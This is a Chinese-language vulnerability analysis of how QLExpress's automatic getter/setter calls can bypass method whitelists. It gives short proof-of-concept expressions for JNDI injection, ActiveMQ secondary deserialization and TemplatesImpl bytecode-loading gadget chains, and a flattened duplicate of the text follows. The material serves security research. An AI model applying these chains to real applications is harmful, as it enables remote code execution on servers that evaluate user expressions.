QL Express 触发 get|set 利用
字数 1605 2025-08-22 22:47:39

QL Express 触发 get|set 方法利用分析

1. QL Express 特性概述

QL Express 在执行表达式时可以直接调用类的构造函数和其属性的 getter/setter 方法。这一特性可以在安全组设置白名单条件下绕过方法调用限制。

2. 技术原理分析

2.1 基本机制

当执行如下表达式时:

import org.example.user;
user u=new user();
u.name="gaoren";
u.age=1000;

QL Express 内部处理流程:

  1. 将表达式编译为 QL 语句
  2. 调用 executeInnerOriginalInstruction 函数循环执行编译后的语句
  3. 执行到赋值操作时(OP := OPNUMBER[2]),调用 setObject 方法进行属性赋值

2.2 关键调用栈

executeInner
executeInnerOriginalInstruction
setObject
setProperty
PropertyUtils.getPropertyType
PropertyUtilsBean#getPropertyDescriptor
PropertyUtilsBean#setSimpleProperty
invokeMethod (反射调用set方法)

2.3 限制条件

  1. 只能给有 set 方法的属性赋值(不像 Fastjson 可以给无 set 方法的属性赋值)
  2. 没有类似 Fastjson 的 Feature.SupportNonPublicField 选项
  3. 利用面相对较小

3. 可利用链分析

3.1 JdbcRowSetImpl (JNDI注入)

利用条件

  • 存在 com.sun.rowset.JdbcRowSetImpl

利用原理

  1. setAutoCommit(true) 会触发 connect() 方法
  2. connect() 方法中调用 lookup(this.getDataSourceName())
  3. dataSourceNameautoCommit 都有 setter 方法

POC

import com.sun.rowset.JdbcRowSetImpl;
JdbcRowSetImpl jbc = new JdbcRowSetImpl();
jbc.dataSourceName="rmi://localhost:1099/hello";
jbc.autoCommit=true;

3.2 ActiveMQObjectMessage (二次反序列化)

利用条件

  • 存在 org.apache.activemq.command.ActiveMQObjectMessage
  • 存在 org.apache.activemq.util.ByteSequence

利用原理

  1. getObject() 方法中存在二次反序列化
  2. 通过设置 content 属性(有 setter 方法)控制反序列化内容

POC

import java.util.Base64;
import org.apache.activemq.command.ActiveMQObjectMessage;
import org.apache.activemq.util.ByteSequence;

ByteSequence bs=new ByteSequence();
ActiveMQObjectMessage u = new ActiveMQObjectMessage();
String bydata = "Base64编码的序列化数据";
bs.data=Base64.getDecoder().decode(bydata);
bs.length = 1376;
bs.offset = 0;
u.content=bs;
u.trustAllPackages = true;
u.object;

限制

  • 需要调用 Base64.getDecoder().decode() 方法,可能被白名单限制

3.3 TemplatesImpl (字节码加载)

利用条件

  • 存在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

利用原理

  1. outputProperties 属性有 getter 方法
  2. 通过设置 _bytecodes_name 属性加载恶意字节码

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
TemplatesImpl tem=new TemplatesImpl();
tem._bytecodes="恶意字节码Base64";
tem._name="gaoren";
tem.outputProperties;

限制

  • 其他必要属性没有 setter 方法,难以完整利用

4. 其他依赖的利用链

4.1 JndiRefForwardingDataSource

利用条件

  • 存在 com.mchange.v2.c3p0.JndiRefForwardingDataSource

POC

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
JndiRefConnectionPoolDataSource jndi = new JndiRefConnectionPoolDataSource();
jndi.jndiName = "rmi://localhost:1099/hello";
jndi.loginTimeout = 0;

4.2 JNDIConnectionSource

利用条件

  • 存在 ch.qos.logback.core.db.JNDIConnectionSource

POC

import ch.qos.logback.core.db.JNDIConnectionSource;
JNDIConnectionSource jndi = new JNDIConnectionSource();
jndi.jndiLocation = "rmi://localhost:1099/hello";
jndi.connection;

5. 总结

  1. QL Express 通过 getter/setter 方法调用的利用链存在,但受限于:

    • 只能调用有 setter/getter 方法的属性
    • 部分必要属性可能没有 setter 方法
    • 需要特定依赖
  2. 最可靠的利用方式是通过 JNDI 注入(如 JdbcRowSetImpl)

  3. 其他潜在利用链包括:

    • RegistryManagedRuntime
    • JNDIManagedRuntime
    • DefaultTransactionManagerLookup
      但这些依赖较为少见
  4. 实际利用时需要根据目标环境的具体依赖情况选择合适的利用链

QL Express 触发 get|set 方法利用分析 1. QL Express 特性概述 QL Express 在执行表达式时可以直接调用类的构造函数和其属性的 getter/setter 方法。这一特性可以在安全组设置白名单条件下绕过方法调用限制。 2. 技术原理分析 2.1 基本机制 当执行如下表达式时: QL Express 内部处理流程: 将表达式编译为 QL 语句 调用 executeInnerOriginalInstruction 函数循环执行编译后的语句 执行到赋值操作时(OP := OPNUMBER[ 2]),调用 setObject 方法进行属性赋值 2.2 关键调用栈 2.3 限制条件 只能给有 set 方法的属性赋值(不像 Fastjson 可以给无 set 方法的属性赋值) 没有类似 Fastjson 的 Feature.SupportNonPublicField 选项 利用面相对较小 3. 可利用链分析 3.1 JdbcRowSetImpl (JNDI注入) 利用条件 : 存在 com.sun.rowset.JdbcRowSetImpl 类 利用原理 : setAutoCommit(true) 会触发 connect() 方法 connect() 方法中调用 lookup(this.getDataSourceName()) dataSourceName 和 autoCommit 都有 setter 方法 POC : 3.2 ActiveMQObjectMessage (二次反序列化) 利用条件 : 存在 org.apache.activemq.command.ActiveMQObjectMessage 类 存在 org.apache.activemq.util.ByteSequence 类 利用原理 : getObject() 方法中存在二次反序列化 通过设置 content 属性(有 setter 方法)控制反序列化内容 POC : 限制 : 需要调用 Base64.getDecoder().decode() 方法,可能被白名单限制 3.3 TemplatesImpl (字节码加载) 利用条件 : 存在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类 利用原理 : outputProperties 属性有 getter 方法 通过设置 _bytecodes 和 _name 属性加载恶意字节码 POC : 限制 : 其他必要属性没有 setter 方法,难以完整利用 4. 其他依赖的利用链 4.1 JndiRefForwardingDataSource 利用条件 : 存在 com.mchange.v2.c3p0.JndiRefForwardingDataSource 类 POC : 4.2 JNDIConnectionSource 利用条件 : 存在 ch.qos.logback.core.db.JNDIConnectionSource 类 POC : 5. 总结 QL Express 通过 getter/setter 方法调用的利用链存在,但受限于: 只能调用有 setter/getter 方法的属性 部分必要属性可能没有 setter 方法 需要特定依赖 最可靠的利用方式是通过 JNDI 注入(如 JdbcRowSetImpl) 其他潜在利用链包括: RegistryManagedRuntime JNDIManagedRuntime DefaultTransactionManagerLookup 但这些依赖较为少见 实际利用时需要根据目标环境的具体依赖情况选择合适的利用链